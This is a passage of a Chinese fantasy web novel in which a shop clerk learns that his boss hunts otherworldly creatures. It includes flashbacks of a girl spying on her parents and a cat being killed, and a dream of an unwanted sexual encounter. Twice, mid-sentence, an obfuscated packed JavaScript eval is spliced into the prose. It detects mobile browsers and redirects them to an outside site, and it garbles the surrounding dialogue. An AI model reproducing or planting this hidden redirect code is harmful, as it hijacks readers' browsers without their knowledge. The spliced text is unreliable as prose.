她有回答,只是字少了点,她有回答的。 凌晨两点,走进爸爸妈妈房间,爸爸的手机放在床头柜,打开,没有密码,回房。 打开监控软件,监控正在正常运作,五个监控区域,分别是客厅一、客厅二、阳台、书房、还有灿灿房间。点开“灿灿房间”的大屏,夜视模式,一个女孩披头散发坐在床上捧着手机看,怪阴森的。 挑了昨天周日的“灿灿房间”监控,手指拖动进度条——起床、看书、分神、化妆、卸妆、换衣服、消失、午睡、跳舞、发呆、看书、消失、涂身体乳、关灯躺着、出房门…… 突然,她冲着监控方位大叫一声,被自己的恶作剧逗笑得捧腹大笑。 第二天,爸爸在找手机,妈妈给爸爸指明方向,可能是掉进哪个缝隙里了。 “爸爸,你的监控有连电脑吗?” “没有啊,不然我早去看了,去哪儿了呢?” 正弯腰在沙发缝隙里找的爸爸突然停住,背影有些僵硬,妈妈拿着锅铲从厨房出来,跟爸爸面面相觑。 “妈妈,找到收养兔子的人了吗?” “找,找到了,隔壁楼栋的王阿姨,后天来取。” “哦。兔子容易跑,提醒她装个监控。” 监视,是这样的快乐。好脏啊,她被弄脏了。兔子亲过妈妈的手,看过爸爸的眼镜,也被弄脏了。 “小兔子乖乖,把门开开,快点开开,我要进来……” 这一晚,她睡了个好觉,直到妈妈的尖叫声把她吵醒。 她跪着,头枕在兔笼上,抱着兔笼,睡了一个晚上。 爸爸匆匆出来,和妈妈紧紧依偎在一起,不敢靠近她半步,爸爸没有戴眼镜,看她的眼神第一次有了恐惧。 她从地上拿起手机,“爸爸,我找到你的手机了,在这儿。” 这一回,她当着爸爸妈妈的面,提起兔笼,“我真的好爱它们。” —————— 又是那股怪力,将他甩回现实,依旧坐在店铺的沙发上,黑卡片捏在手里。 许久不能平复。手机响起,陈金池打来的视频通话。 如果不是老板,他会当看不见。把摄像头对准木盒,接通,陈金池的脸占满整个屏幕。没有必要靠那么近。 “我看不到你。” “陈老板,这个东西要怎么处理?” “放桌上,晚上七点会有人过来拿。” “陈老板,你们是个妖怪组织吧。” “哦?那你怎么不害怕?” “我从前害怕一直贫穷,但穷着穷着就习惯了。” “适应能力很强,继续保持。” “你会在我活的时候给我发工资吧?” 陈金池被逗笑,“看到你的能力了?” “能力?” “我说过,你很适合我们公司。这个世界看到的是一面,看不到的又是一面,你想看到那看不到的一面,具备‘能力’是必要条件。午饭吃什么?” “陈老板,我建议店里可以摆一套茶具。” “你还没回答我的问题。” “……饭。” 陈金池点头,期间对这个回答展开多维度思考,“言简意赅。奖励你一套茶具。” 挂了视频,脑子混沌,仍旧不敢完全接受今天所发生的一切,难道异世界真的存在? 4. 第一夜,噩梦 晚上不到七点,推门而入一个男人,大背头,□□镜,花夹克,粗链手饰,左手举着团棉花糖,右手抱着只大方匣站在哪儿,像根风骚的竿。 许陆风手里拿着洗漱用品和毛巾,准备洗澡,所以只穿了条短裤。怪尴尬的。 “你好,请问有什么事吗?” 男人低头,推下墨镜看打量他,笑得痞里痞气,举着棉花糖绕他一圈,“我是来取货的,陈金池跟你说了吧。”把大方匣放在桌子上,棉花糖插在大匣子的缝隙里,自来熟躺倒沙发,左看右看,“这沙发一看就是老人风,膈骨头。” “东西在这。”他指着桌子上的木盒。 男人摘下墨镜,指头敲了两下木盒,而后,木盒连同摆在上面的黑色卡片一起,凭空消失了,“我叫鸣天晓,你呢?” 他揉了揉眼睛,确定那木盒真的不见了。放下刷牙杯,握住男人的手,“你好,许陆风。” “许陆风,许陆风,许陆风。”男人连续念了三遍,才读得顺口些,“我还是习惯叫你禛。” 他的眼光依旧停留在木盒消失处,完全没有听鸣天晓说什么。 不可能是近景魔术,他距离木盒不超过一米,周围没有任何遮挡。今天发生的事,如果要用科学解释,一是他可能中了某种□□;二是这个屋子里有类似于辐射的东西,可以影响人的脑子。 “请问,您准备怎么处理木盒里的东西?” “当然是按照客户的要求做。”鸣天晓双指翻动,黑卡片回来了,看上面的记载,“可怜的小家伙们,出生不久惨遭毒手。”继续看下去,“这女孩要吃爹娘咯。”手指翻动,黑卡片又消失了。“放心,我是专业的。” 鸣天晓这一套行云流水的动作,他看得眼花缭乱。 “鸣先生跟陈老板认识很久吗?” “不久,也就几百年吧。” “嗯?” “难道你看不出来他很老吗?穿的衣服,品味,还有那拖到脚跟的头发,不老都留不到那么长。”鸣天晓像是积蓄意见已久,终于逮到机会可以一吐为快。 如果他现在轻信了这个陌生男人的话,将来某一天揭穿这一切实则是场忽悠,而这一群人都是未被逮捕的精神病,就会显得他很蠢。 “您能跟他认识几百年,年纪也很不可思议。” “NONONO,我认识他的时候还是个孩子,现在才刚刚成年。他?估计连七情六欲都没了。你可要小心点,那个人十分变态的,毕竟,老处男都会有些怪癖。”鸣天晓看向门口那株枯植,盆里有一滩水,“你给它浇水是没用的。” 是没用,已经死透了。 “这东西只有个诨名,叫吃肉藤,你要喂新鲜带血的生肉给它。陈金池没跟你说?” “陈老板没有提。” “哼,还真狠。行啦,东西我拿走,你跟你老板汇报吧。” 鸣天晓起来拍了拍他的头,心满意足走了。 他从怔愣回过神,看向桌上的匣子和棉花糖,打开匣子,里面是茶具。至于这个棉花糖,莫非是手信。 拍了张照发给陈金池,又问了问吃肉藤的事。 发出去没三秒,视频通话来了。拍拍被吓到的心脏,切换后镜头,接通。陈金池脸色不太好,看起来很是严肃。 “那个人喜欢胡说八道,你不用管那盆东西。” “他说你很老,是个老处男,而且很变态。” 陈金池不怒反笑,只是那笑容瘆得慌。 果然,是个男人都受不了这样的侮辱。 “好,我知道了。” 陈金池挂了。 点开陈金池的头像,就是门口那颗枯植。 洗完澡,无所事事,索性出去散散步。 拉开门,夏夜的热风扑面而来,还有过路车鸣、大喇叭音乐。这才觉出这店面不仅凉爽,而且隔音好。 烧烤店门口排了一条长队,今天才认真看他家的招牌——爱情烧烤,吃了就脱单,帅哥靓女百吃百灵! 长得丑的呢? 老板手上忙得出火,脸却是另外的画风,风轻云淡微笑跟食客聊天。 “小哥哥,你好帅呀,身上好香啊,想谈恋爱么?来这里的都是想谈恋爱哒,你看看人家怎么样?” 甜甜软软的兽耳美女热情搭讪,他的眼睛顺应本性瞟向部位,夺目,紧张的时候就容易咽口水。理智战胜兽性,“我不谈恋爱。” “不谈恋爱也没问题,可是人家一个人好寂寞哦,小哥哥陪人家玩游戏好不好?” 美女主动抱胳臂,多么鲁莽的社交动作,半边瞬间酥麻了。 那边烧烤店老板看到这一幕,放下烧烤掏出手机,拍照,发出。 找了个工作借口,逃回店里松了口气,多么难缠的美女,险些脱不开。 这一弄,浑身燥热得很,冲个冷水澡冷静冷静。出来时,手机没拿稳掉地,弯腰时看到墙面上的叶子掉了一个下来。 厕所旁的尽头墙面有一棵树,颜料绘的树干,实物装饰的叶子。叶子是旧铜色,再细看,表面有细腻的纹路,组成一个像是符号的东西。 叶子两边光滑,没有胶水痕迹,不知道是不是古董之类,放到柜台的第三个抽屉里,拍照给陈金池。 一直在柜台坐到九点,关门关灯,上楼睡觉。 给阿弟发消息问情况。 “人还行,就是喜欢抽烟,跟许春明一个样。” “许春明说你逃课。” “【尴尬】” “回去上课,不准再逃课。” “哦。” 放下手机,走到圆窗前研究,原来窗面是左右两扇结合的,底部有一个凸起的圆柱物,两侧有两个卡扣,掰开,钩住圆柱物往一边拉,玻璃窗被拉了开来。 趴在窗台上往下看,此时此刻,他好像站在了上帝的位置,观察各色各样的夜游人们的人生,从衣着到表情,从谈话内容到行为举止,就像看电视剧一样。逐一分析每个人的动机。 他想,肖灿父母看“灿灿房间”的时候,也是一样的感觉。 发了会呆,困意袭来,关好窗户睡觉。 梦里,他捧着一个浑身通红,似刚出生的婴儿,奔跑在医院的走道上,他哭着喊着,但是周围没有一个人用声音回应他。这些人好奇怪,一个个都是长衫大褂,古时打扮,静止得像幅画,冷漠,都是冷漠。 终于遇到一个穿白色大褂戴口罩的人,上去求救,但他只是径直路过。心脏好苦、好痛、好绝望。怀里的婴儿变得越来越黑,最后变成一只黑猫,跳走了。 到此惊醒。他听到了自己的抽泣声,脸上都是眼泪,那痛绝尚有余感,胸口闷闷的。 看了眼时间,凌晨两点四十五,坐起身,看见床尾蹲着一头红狐狸,下一秒,狐狸张出獠牙扑向他。 到此又惊醒,梦中梦。看了眼时间,凌晨三点零一分。 “啪”,楼下传来的动静。老鼠?或者是贼。 没过一会儿,楼梯口闪现光亮,楼下开灯了。 “老板?” 走到一半楼梯,见陈金池从厨房出来,今天穿的是西装,外套脱了披在沙发背上,衬衫领口敞着,眼睛红红的,看上去很疲惫,端着碗刚煮好的抄手。 “刚在附近谈了点生意,肚子饿了。抱歉,吵醒你了。” “没有,我有夜起的习惯。” 从厕所出来,见抄手摆在桌面,陈金池支腿坐在地上,低着头,很是颓丧。 老板心情不好,员工装没看到,可能会对工资造成影响。 闻到一股酒味,“陈老板,您是喝多了吗?” 陈金池抬头,眼尾红红的,似有要哭的迹象。 完了,老板展露脆弱,定有阴谋诡计等着员工。 “陈老板,是不是最近生意不太好啊?” 陈金池盯着抄手,摇头。 还好,不会影响到工资水平。不是生意,那就是家里,或者感情问题了。可惜,这两样他都不会聊。 拧了条湿毛巾出来,“擦擦脸吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810607|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陈金池盯着毛巾看了三秒,突然抓住他的手腕往下拉,他被迫坐在了沙发上,下意识作了举手投降姿势,而后肚子一沉,陈金池锢着他的腰,头枕在他肚子上,自言自语,“你喜欢什么样的男人?” 他不喜欢男人。 这下知道了问题所在,原来是情场失意了。抛去怪异身份不提,以陈金池的条件,绝对是稀有品,不应该失手的。还是说,这个人真的有让人无法忍受的怪癖。 像是不满意他的沉默,陈金池脑袋使劲往他肚子上蹭,锢得他更紧了,突然手掌抓上他的蝴蝶骨,细细揉捏,揉得他起了一身鸡皮疙瘩。 不对劲,真的不对劲,他想推开,但是使不出一点力气,像中了迷药。 陈金池有些诧异许陆风的无动于衷,身后的手试探着撩起衣角,深入进去,指尖碾磨着腹侧的肌肉纹理,随着他愈加力道的磨拭,体温升高了。 抬头,见许陆风眼神涣散,气息微喘,如此一来,再难抑制,眼底狠戾浮现,将人放倒,推起上衣,舌尖点着胸中线缓缓划至喉头,在脖颈、胸口留上细密缠情的吻。 突如其来的荒唐让许陆风脑袋空白三秒,真实的触感让他意识到不是在做梦,可怕的是他控制不了自己,简直是奇耻大辱! “禛,我知道你想听什么,我爱你,我爱你,我爱你……” 陈金池吻着他的颈侧,在耳朵边说着自顾动人的甜言蜜语。更惊悚的是,从陈金池衣服里探出许多藤蔓,一根一根将他缠住。 “艹!” …… 再次醒来,天已亮,自己仍旧睡在二楼的床上,想起昨晚的荒唐事,霎时飙冷汗,赶忙翻起身检查自己的身体,还好,一场噩梦而已。 肯定是昨晚那个美女弄得他心驰神往,但是为什么,发泄对象是个男的,还是他老板! 疯了,绝对疯了。 萎靡不振吃了早餐,八点半准时坐在柜台后,从前没有时间看书,现在总算可以把之前积灰的两本世界名著翻出来看。 相安无事过了月末几天,来到了一号。 后来几天没有客户再上门,最后发给陈金池的消息没有回复,阿弟在妈家住得挺好,谭强忙着给薇薇阿姨筹备巨大生日惊喜基本失联。 待在店铺里仿佛与世隔绝,心总是没办法平静下来,他需要实质的东西安抚,工资。 将近十一点半,陈金池发来一张工资单,看到最后的实发工资,他不知作何反应,平静的表象下是惊涛巨浪肆虐。一分钟后,银行卡短信提醒,依旧不敢置信,数了五遍,确定没有看错小数点。 他好像,要暴富了。 “喂哥。” “阿弟,哥有事跟你说,你先找个没人的地方。” “哦哦,你等等,我去跟体育老师说一声……好了,你说吧。” “哥赚到钱了,以后不用担心学费的事情。你相信哥,可以给你报补习班,报兴趣班。但是你必须答应我,永远不准半途而废。你必须努力学习,必须尽全力考好的大学,你给我保证。” “哥,你别这样,我害怕。你是怎么赚到钱的?你现在安全么?你现在完整么?” “我没事,这件事不许告诉任何人。下个月放假,你来我这里,我给你找补习班上。” “真的?!放心吧哥,我一定不会辜负你的!” 挂了电话,给谭强发了条消息。 仰面靠着柜台,有兴奋、有担忧,担忧多一些,打开手机银行,把工资账户的钱转到其他账户。 “靠,限额了。” 想想怎么回复老板,不能太谄媚,也不能太傲慢,再三斟酌。 “收到。” 穷人发了横财容易手痒,他必须花点什么平静一下。 出去逛逛。 刚要上楼换鞋,门铃响了。 开门,是一位女士,穿着一套墨绿色的复古裙,优雅里带着优越,牵着一个小女孩。 冰箱里的儿童牛奶,估计今天能派上用场。 5. 伊丽莎白圈 小女孩戴着小黄帽,大眼睛充满好奇,看向妈妈,征得同意后,才拿起牛奶。 “谢谢叔叔。” “不客气。” 女士从包里拿出一张名片,“是朋友推荐我来的。他说,这里可以存东西。” “是的,请问怎么称呼您?” “我姓赵。” 递给赵女士一杯茶,“赵女士您好,东西带来了吗?” “带来了,稍等。”赵女士从小女孩书包里拿出一个塑料袋放到桌上,“不舍得扔,但是又不能放家里,所以想找个靠谱的地方保管起来。” 看了眼黑卡片提示,还好不是吓人的东西。 “说说您的存货要求?” “我来你们公司之前,也了解过很多同类型的公司,无一例外,他们都只能保存一段时间,最后还是要处理掉的。所以我想知道你们公司可以保存多久?” “如果您的要求是永远保存,那就是永远保存。” “我想看看你们的储存间。” “抱歉女士,因为涉及客户存货方式的隐私,存货地点我们从不对外。包括您女士,一旦您的货物存进,货物将永远不会见您。所以,是否存货,请您考虑清楚。” “也就是说,货物存进来之后就是你们的东西了?我是交了存货费的,我有知情权。” 他没有立刻解释,微微一笑,“里面是个伊丽莎白圈,黄色的,对吧。“ 赵女士惊讶,因为塑料袋不是透明的,密封条也没有打开,但又想到什么,随即恢复平淡,垂着目光若有所思。 “叔叔你说错了,圈圈是灰色的。”小女孩十分认真,“这是小灰灰的圈圈,小灰灰不见了,只留下圈圈。妈妈,我想嘘嘘。” “洗手间在里面。” 赵女士带着小女孩离座。 “小灰灰?”黑卡片上出现一只猫头。 厕所里传出对话声。 “妈妈你看,里面有只大猫,它好大呀!” “来洗手。” “妈妈,猫猫对我说你好耶,它跟小灰灰一样,是灰色的。” “好啦,走吧。“ 赵女士出来,拿起桌上的塑料袋,“我再考虑一下,谢谢。” “叔叔,拜拜啦!”边走,小女孩伸着头看着厕所门口,十分期待,等到后兴奋挥手告别。 送走客人。 谈判失败给了他一个警醒,眼下高兴过早。理智恢复,跟陈金池汇报这一单。 收起茶杯,转身,血压瞬间升高,脑袋嗡嗡。 一张自头顶盖下的黢黑大脸,琥珀色的眼珠横着一道瞳,两只比他人要粗壮的毛爪撑在前面,遮住六分之一蓬勃发展的雄厚身躯。整个店铺变得无比拥挤。 毛爪举起,嘴皮朝两边扯开,露出两颗獠牙微笑。 会笑的扁脸猫,什么品种… “嗨。” 还会说话… 噩梦,肯定又是噩梦。 放下茶杯,趴在沙发上,如果不是噩梦,希望招财猫成精后是吃素的。 睡了一会儿,小心睁开一条眼缝,屋里敞亮了。桌上蹲着一头黑猫,像只发了绒毛的巨型三角铁,敦实肥厚,五十斤起头。 “花。” “呱……” “花。” “你想干什么?” “花。” “冤有头债有主,你找错人了。” “花。” “我听不懂猫语。” “叫我花。” 脑子又嗡了一下,真他妈会说话。 花用尾巴把黑卡片揽了过来。 他眼珠子转了一下,黑卡片上出现“小灰灰”,而后出现一个箭头指向黑猫。 “送我回家。” “你家在哪?” 花眨眨眼,横瞳一张一缩,似在思考。但是没思考出来任何东西,“送我回家。” 他人生第一次,那么迫不及待的主动给人打视频电话。镜头对准黑猫,接通,破口大骂。 “陈金池你个王八蛋的玩意儿,你他妈到底是做什么生意的,这他妈是什么鬼东西?!” “……肥猫?” “我又不瞎!它刚刚大得就差把屋子撑破了,你快点叫人来把它搬走!” 视频那边的人好像卡顿了,几秒后笑出声,“好好好,你等我一下,我马上过来。” 挂了视频,懊悔不已,他刚刚居然骂老板是王八蛋,太冲动了。 小腿突然碰到什么东西,吓得他险些扔了手机,低头,见黑猫在他腿间蹭来蹭去,而后在他脚背躺倒,四脚朝天,扭来扭去吸引注意。 “花~” 其实,这鬼东西除了重了点,眼睛奇怪点,其他还是很可爱的。 就在他矛盾要不要摸摸时,黑猫顿住了,骨碌起身,左嗅嗅,右嗅嗅,跳上柜台,鼻子贴着柜台边缘细细嗅着,再三确认后,面朝柜里坐了下来,低着头,“狐狸。” 听到狐狸,想起几天前做的第二重噩梦,那只坐在他床尾的红狐狸。又想到第一重噩梦,最后婴儿变成了黑猫。一定是巧合,否则第三重梦要怎么解释! 黑猫躺在柜台上,抓空气。有点,傻。 没有危险就得继续干活。轻手轻脚的,拿起茶杯,捏起黑卡片,猛然觉出不妥,但已经来不及,又是那股怪力,将他扯离现世。未见人,先闻声。 —————— “佳佳你喜欢猫猫吗?” “喜欢。” “想不想养一只?” “想!” “那回家跟爸爸商量一下,千万别说是妈妈说的哦,不然爸爸就不让你养了。” “嗯!” 它是店里唯一的一只黑猫,坐在笼子里,看着一大一小的两个人类,商量着要买走自己。 第二天,那两个人类来了,小女孩对店员说要那只灰色的猫,妈妈对店员尴尬一笑。 不是灰猫,是黑猫。 “它是公的母的?” “母猫来的,母猫更粘人。” 妈妈听了,淡淡应了一声。 黑猫有了新家,这个家很大,任由它跑跳,再也不愿意进笼子。 白天家里只有它一只猫,到了晚上,爸爸妈妈和小女孩回到家,第一个喊它名字的总是小女孩。 “小灰灰!” 这个时候,爸爸会看着小女孩叹息,妈妈会安抚爸爸,“没关系的。” 小女孩抱着它回房间,关上门,贴着它的耳朵说悄悄话,“我知道你是黑色的,但妈妈喜欢我说你是灰灰。” 黑猫不懂,沉迷舔毛。 爸爸从不抱它,妈妈不喜欢它,但是爸爸在时妈妈会用手指摸摸它的脑袋。 “今天老师给我打电话,说佳佳在学校跟同学闹矛盾了。” “小孩子,过两天就忘了。” “唉,老师让我周一过去,说双方家长见个面。” “这么严重,怎么回事?” “佳佳跟班里一个小女孩打架,把人小女孩的脸挠出血了。” 黑猫看爸爸生气了,赶紧跑去小女孩房间通风报信。 小女孩在画画,爸爸进来了。 “佳佳,在画什么呢?” “葡萄。” “葡萄是黑紫色的。” “我画的是绿葡萄。” 爸爸叹息,打了个喷嚏,“佳佳,为什么打架?” 小女孩摇头,不肯说。 “告诉爸爸,爸爸给你评评理。” 小女孩摇头。 爸爸走后,小女孩抱起黑猫,“爸爸工作太辛苦了,妈妈说,不要让爸爸操心。” 黑猫在小女孩房间玩了一会儿,出去客厅,妈妈依偎在爸爸怀里,十分幸福甜蜜。 今天是小主人的生日,家里来了好多小朋友,有小朋友提议玩搭积木的游戏。 “佳佳,把那块红色的积木递给我。” 小女孩伸手要去拿红色的积木,途中回看爸爸,爸爸充满期待,再看妈妈,妈妈笑得十分美丽,但是眼睛黑黑的,她知道,妈妈不高兴了。于是,她改拿了绿色的积木。 “佳佳的眼睛跟我们不一样!” 孩子们在取笑,小女孩举起积木,妈妈比爸爸快一步抱起小女孩,离开生日会,走进房间。 黑猫跟着进去,它想舔小女孩手里的糖果。小女孩的牙齿黑黑的,因为吃多了糖果。妈妈藏糖果的地方黑猫知道,小女孩也知道,只有爸爸不知道。 “佳佳,不能跟小朋友打架知道么?” “我没打架,是他们先嘲笑我的!” 这个时候爸爸进来了,妈妈哭出了声。爸爸心疼妈妈,搂着妈妈安慰。 “她太气人了!” “好啦好啦,我来跟她说。佳佳,妈妈是在跟你讲道理,不管怎么样,你都不能大声吼妈妈。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810608|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸爸打了个喷嚏,搂着妈妈出去了,留下小女孩自己生闷气。 黑猫在小女孩的玩具堆里打滚,抓了一下妈妈路过的脚踝,妈妈吓了一跳,踢了它一脚。 到了切蛋糕时间,爸爸进来叫小女孩。 小女孩说要换一件裙子,爸爸在门口耐心等着,等小女孩换好裙子开门,爸爸蹲下抱起小女孩。 “佳佳,你太漂亮了,爸爸亲一个。” 妈妈站在不远处看,笑的十分美丽,只是眼睛黑黑的。 “过来,妈妈抱抱。” 小女孩又跑到妈妈怀里,妈妈力气小,没办法像爸爸那样抱起她,只能蹲着抱住她,“佳佳,蓝色不适合你,显得你皮肤好黑哦。” 小女孩很失落,“但是,这是爸爸送给我的。” “爸爸不知道什么适合你,妈妈是女人,当然更知道什么适合你。乖,以后不要穿这件了。” 黑猫几乎每晚都睡在小女孩房间里,小女孩抱着它,“小灰灰,妈妈真的不喜欢我。” 是的,她不喜欢你。要不然,她不会说你不好看。 身上有一块地方好痒,可能是小女孩的糖果滋又蹭到了它身上。 连续几天了,后脖子上好痒,像是有东西在上面爬。 这天家里阿姨抓住它的头,说它的后脖子上秃了一块。 几个小时后它被塞进笼子,妈妈和小女孩带着它到宠物医院。 医生检查后,给它脖子上套了一个东西。 “真菌感染,猫藓,给你开支药剂,回去每天喷两次,不能让它舔挠,所以好之前伊丽莎白圈都得戴着。” 脖子上的东西阻止了它梳理毛发,它只能伸出舌头舔空气。 几天后,小女孩的手臂上出现一块圆斑,并且时刻发痒。爸爸妈妈送小女孩到医院检查,回来后就把它关进了笼子里。 妈妈依偎在爸爸怀里,“当初我跟她说过很多次,爸爸猫毛过敏,但是她还是坚持要养,唉,真是不懂事。” “小孩子嘛,都喜欢养宠物。” “要不,我们再生个儿子吧,我喜欢儿子。” “你怎么能保证,怀上的一定是儿子呢,万一又是女儿,你岂不是更吃醋?” “我怎么会吃小孩子的醋呢。” “你不会,但我会吃儿子的醋。” “儿子肯定会很敬重你这位优秀的父亲,会更懂事,不像佳佳,唉,小女孩。” 小女孩连续几天没去上学,无论是玩玩具、写作业,都在笼子边陪着它。它把笼子挠得哐哐响,希望小女孩能放它出去。 每当这时,小女孩会打开笼子,喂给它小鱼干。 “小灰灰,要等病好了才能出来哦。我也是,我要等病好了才能去上学。” 爸爸走了过来,跟小女孩一起玩玩具。 晚餐是爸爸做的,一家三口其乐融融吃了晚餐。爸爸去洗澡。 小女孩坐在笼子边看绘本,妈妈过来蹲下,“佳佳,你看你生个小病,爸爸就请了两天假陪你。妈妈感冒发烧的时候,爸爸从来没有请过假。你看你,多不懂事。” 小女孩愧疚低头,“妈妈,我也不想生病。” “佳佳,我们做错了事情就得认。妈妈是不是告诉过你,不要抱着小灰灰睡觉?” 小女孩点头。 “你看,如果你不抱着小灰灰睡觉,你就不会生病,爸爸也不会请假耽误工作。” “妈妈,我知道错了。” 妈妈满意摸了摸小女孩的头,走开了。 “小灰灰,我们以后不要生病了。” 爸爸洗澡出来,亲了亲小女孩的手。小女孩觉得痒痒的,咯咯笑了起来,父女两玩得很开心,妈妈在旁边也笑得很开心,只是眼睛黑黑的。 夜深人静,有人过来把它的笼子打开了,是妈妈。接着,妈妈又去把阳台的窗户打开了。 它没有出去,见妈妈又回来,蹲在它笼子外,“真的很不喜欢猫。” 接着妈妈走了。 客厅里剩下它一只猫,它走出笼子伸伸懒腰,跳上阳台窗户吹风,感觉身后有动静,回头,见妈妈过来了,伸着手,非常着急,推了它一把。 它感觉树杈穿破了身体,头上的伊丽莎白圈被扯了下来。 —————— 陈金池进门的时候,看到黑猫从桌面纵身一跃,跳到许陆风身上。 “喔!你绝对不止五十斤。” 6. 鲁米 花在枯植前蹲了一分钟,缓缓探出舌尖,即将触到,被拎着脖子提了起来。 陈金池抿着笑,“丑猫。”随即扔向沙发。 花龇牙咧嘴挥动爪子,猛然一哆嗦,躲到他身后。 “陈老板,我认为我们有必要坦诚布公所有。“ 陈金池脱了西装外套,在对面坐下,扯下领结,解开两粒纽扣,十指交扣放在搭起的腿上,这是他一贯的动作,目光灼灼,“好,你问,我倾尽所有,毫无保留。” 再次强调,他不喜欢男人。陈金池一如既往的微笑挂在脸上,但今天的眼神,好像贴在他身上,蠕动式游移。 “你从哪里来?是什么物种?能力是什么?那些黑卡片到底做的是什么交易?我有什么特殊的地方让你选择我?” “我确实不属于这个世界,但我不是个例。物种还不能告诉你。我的能力在这个世界不大用得上。我之所以留在这里,是为了找回散落在这个世界的鲁米,翻译成你们的语言,大概是毛多又聒噪的意思。它是其中一个。”陈金池指着花,“选择你是因为你是代簿的主人,代簿就是黑卡片,上面的东西只有主人能看见。当然鸣天晓也可以,因为他是你的契约仆人。我也可以,因为……因为我比较特殊。” “那我认识你吗?” “算认识。” 他听懂了,但是不理解,“鲁米?都长这样?” “不,从原世界来到这个世界的所有东西都会改变生存形态,这是适应能力。就像你看到的我,并非完全原貌。” “所以存货没有任何意义,重点是找那个鲁米?” “很聪明。鲁米到达这个世界的时候是人类文明诞生初期,人类想把鲁米强硬训化,但是失败了。随着人类文明繁荣壮大,它们越来越难找到栖息的地方,于是它们把目标瞄准了动物。鲁米是群好吃懒做喜欢毛的东西,它们会选择有人喂养,生活环境好的宠物寄生。所以我们专挑高档社区或者宠物店发广告。”陈金池点了几下手机。 陈金池给他发了一条链接,点开是个视频——陈记关爱,宠物殡葬专业团队,遗体美容、葬礼、火化一条龙服务。如果您有什么难言之隐需要保存宠物物品,甚至是宠物本尊,请到宁郎公路45号存货。有需要请拨打下方电话……感谢你的支持! 原来是这样……他高估了他们的手段,一直以为是心灵感应,或者特殊人意念开启通道之类的,没想到啊,他得改改自己胡思乱想的毛病。 “就没有办法把它们一起找出来?” “有的,但你现在还做不到。” “为什么是我?” “因为它们只听代簿主人的召唤。鲁米脑子蠢,来到这个世界太久,早就忘了自己是谁。唯当它们感应到你的力量时,才能想起来自己不属于这个世界,这个时候它们就会来找你。” 好荒唐。他不是一个同情心泛滥的人,面对人类遭受的苦难,他会冷眼旁观,但是如果是小动物……摸着花的脑袋,这么人畜无害的小家伙被无辜杀害,确实,如果能找到一个能让它们平安自由活下去的地方,若是他能做到,他是愿意的。 “花~” “那我要怎么才能得到足够的力量。” “等。” “等什么?” “等夺走你力量的人出现。我们也在找他,一旦找到,我们会把他带到你面前,撕开。” 那就是还有个强大的敌人,“那个人也是从你们那个世界来的?” “是的。” 确定了陈金池是异来物种,还可能携带了现世界无法抗衡的能力,那么能成为敌人的肯定是势均力敌的。 “照你的意思,我也是从你们那个世界来的?” “是。” “那我爸妈怎么解释?哦,对,你说鲁米可以寄生在动物身上,我也可以寄生在我爸妈的儿子的身上。” “不排除这种可能,你很强大。” “稍等,我先缕一缕思绪,信息量太大。” 他可以接受妖怪、外星人、平行时空、时空隧道等等稀奇古怪、扯淡离奇的东西存在,但是他从来没有想过自己会是其中一员。陈金池是新领域的带来者,是善是恶他说了算,无知的人无法驳斥。除非,亲眼见证……见证之后呢,打怪升级吗?他没有这个本事。 “陈老板,我想我们还是做回三不知的雇佣关系,你今天就当我什么都没问。” “可是,鲁米等着你带它回家。” “花~” “……我学历不高,没有办法接受这样神奇又伟大的使命。” “花~呜~” “你别这样看着我。” “工资翻三倍。” “我接受这项伟大的使命。” 有钱能使鬼推磨,何况是三倍工资诱惑下的凡人。金钱的魅力,拥有越多越痴迷。 陈金池笑得心甘情愿,“好。” “陈老板,你有没有什么记忆光圈之类的,让我看看之前的事情。” 陈金池迟疑了,避开目光,“能,但不是现在。我会慢慢告诉你。” “哦。我还有问题,你说我是代簿的主人,我当初为什么没有把它带在身上?你说我很强大,为什么我变成了人,而你没有?” 陈金池拇指反复轻蹭手背,“当初你离开得非常急迫,重伤未愈的情况下强行打开了异世通道。我猜,你可能在通道里碰见什么伤害了你,体力不支落在这个世界,必须寄托到其他生命体上才能存活。” “那我是个什么物种?” “你来自最高等的族群,传闻人类是你们族群的几个外逃罪族人创造出来的,所以人类的外貌组成与你们相似,你们的寿命很长,能达到两千三百岁。你们的族人数量不多,但是每个都十分强大,你们的族群控制着那个世界的时间、空间还有资源。” 听起来,他是出生神室啊。 “但是你们有个天生的缺陷,无法族内繁育,所以你们会向低族群寻找交/配对象。” “交……配?”他耳朵没听错。 “是的,受孕成功后,胚胎会被取出放入孕育囊中养育,交/配对象会被杀死。五年后,没有长出丰索的那批孩子,也会被处理掉。” 好残暴,像是野蛮高等文明,“丰索是什么?” “相当于你们族群的基因标识。” “那,你是怎么认识我的?” “在你四百一十四岁的成年礼上。” “你现在多少岁?” “七百一十四。” “我离开的那年多少岁?” “四百一十七岁。” “这么说来我还是个孩子,不可能那么快就交……找对象对吧。” 陈金池没有答话,沉默着。 接下来的一个下午,他坐在柜台后消化陈金池的话,花在地板上滚来滚去。 “你好,快递……” 他没有买东西,但是收件人确实写的他的名字。打开,装满的防摔泡沫,捞出来只矮玻璃花瓶;一包写着种子的小袋子;一只扁长匣,挺沉,半个巴掌宽,一个巴掌长,里面压实填满了细腻的杂色沙砾,深暗沉韵。 小袋子背面还有字——将种子埋入沙砾,你将收获一个惊喜。 “喂强子,是你给我寄来的快递吗?“ 